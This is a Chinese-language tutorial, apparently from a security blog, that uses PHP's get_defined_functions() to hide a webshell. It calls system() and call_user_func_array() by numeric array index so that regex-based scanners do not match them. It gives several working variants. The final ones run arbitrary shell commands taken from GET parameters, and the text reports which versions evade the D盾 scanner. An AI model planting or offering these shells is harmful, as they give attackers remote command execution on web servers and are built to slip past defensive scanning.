0x01 get_defined_functions

支持的PHP版本:PHP 4> = 4.0.4,PHP 5,PHP 7

get_defined_functions:返回一个包含所有已定义函数的数组。

函数定义如下:

1
get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array

Demo

1
2
3
4
<?php
$arr = get_defined_functions();
print_r($arr);
?>

访问会输出以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Array
(
[internal] => Array
(
[0] => zend_version
[1] => func_num_args
[2] => func_get_arg
[3] => func_get_args
...
[459] => exec
[460] => system
[461] => escapeshellcmd
[462] => escapeshellarg
[463] => passthru
[464] => shell_exec
...
[1910] => xdebug_get_headers
)

[user] => Array
(
)

)

返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)和用户定义。内部函数可以通过\$arr[“internal”]访问,用户定义的函数可以使用\$arr[“user”]访问。

这里可以看到,system()函数在internal数组的下标为460,通过\$arr[“internal”][460]即可访问。

0x02 隐藏WebShell

利用get_defined_functions()函数,我们可以通过数组下标来访问的方式实现调用危险函数而无需输入一些敏感危险函数的字符串,从而实现Bypass一些利用正则表达式去文件系统及网络流量上匹配危险函数的安全防护。

常规版

自定义了一个callfunc()函数,将system()函数以索引460传入,并在call_user_func_array()函数执行:

1
2
3
4
5
6
7
8
9
10
<?php
function callfunc() {
$func = get_defined_functions(); //函数自己完成所有函数的枚举,成为list
$args = func_get_args(); //获取传入参数值
$func_id = array_shift($args); //获取传入的函数所代表的list key
$func_name = $func['internal'][$func_id]; //以key来索引函数名
return call_user_func_array($func_name, $args); //调用回调函数,传参执行
}
echo callfunc(460, "whoami");
?>

其中func_get_args()函数返回一个包含函数参数列表的数组;array_shift()函数将数组开头的单元移出数组。

访问即可执行shell:

看下免杀效果吧,用D盾是扫不出来的:

变体版

按照这个套路我们继续将func_get_args()、array_shift()、call_user_func_array()也用get_defined_functions()函数来调用:

1
2
3
4
5
6
7
8
9
10
<?php
function callfunc() {
$func = get_defined_functions();
$args = $func['internal'][3](); //func_get_args()
$func_id = $func['internal'][805]($args); //array_shift()
$func_name = $func['internal'][$func_id];
return $func['internal'][556]($func_name, $args); //call_user_func_array()
}
echo callfunc(460, "whoami");
?>

D盾扫下,好像变复杂就被识别为可疑文件了呢:

当然,我们可以简化一下:

1
2
3
4
5
6
7
8
9
10
<?php
function f() {
$a = get_defined_functions()['internal'];
$s = $a[3](); //func_get_args()
$b = $a[805]($s); //array_shift()
$c = $a[$b];
return $a[556]($c, $s); //call_user_func_array()
}
echo f(460, "whoami");
?>

D盾再扫下看看,虽然疑似点不一样,但还是识别为了可疑文件:

最终版

在变体版的基础上,修改为GET获取参数即可:

1
2
3
4
5
6
7
8
9
10
<?php
function f() {
$a = get_defined_functions()['internal'];
$s = $a[3]();
$b = $a[805]($s);
$c = $a[$b];
return $a[556]($c, $s);
}
echo f($_GET['id'], $_GET['cmd']);
?>

URL传参方便多了:

D盾还是识别为可疑文件,可自行进行其他的变形。

当然,换成原版的是Bypass D盾的:

1
2
3
4
5
6
7
8
9
10
<?php
function f() {
$a = get_defined_functions()['internal'];
$b = func_get_args();
$c = array_shift($b);
$d = $a[$c];
return call_user_func_array($d, $b);
}
echo f($_GET['id'], $_GET['cmd']);
?>

0x03 参考

get_defined_functions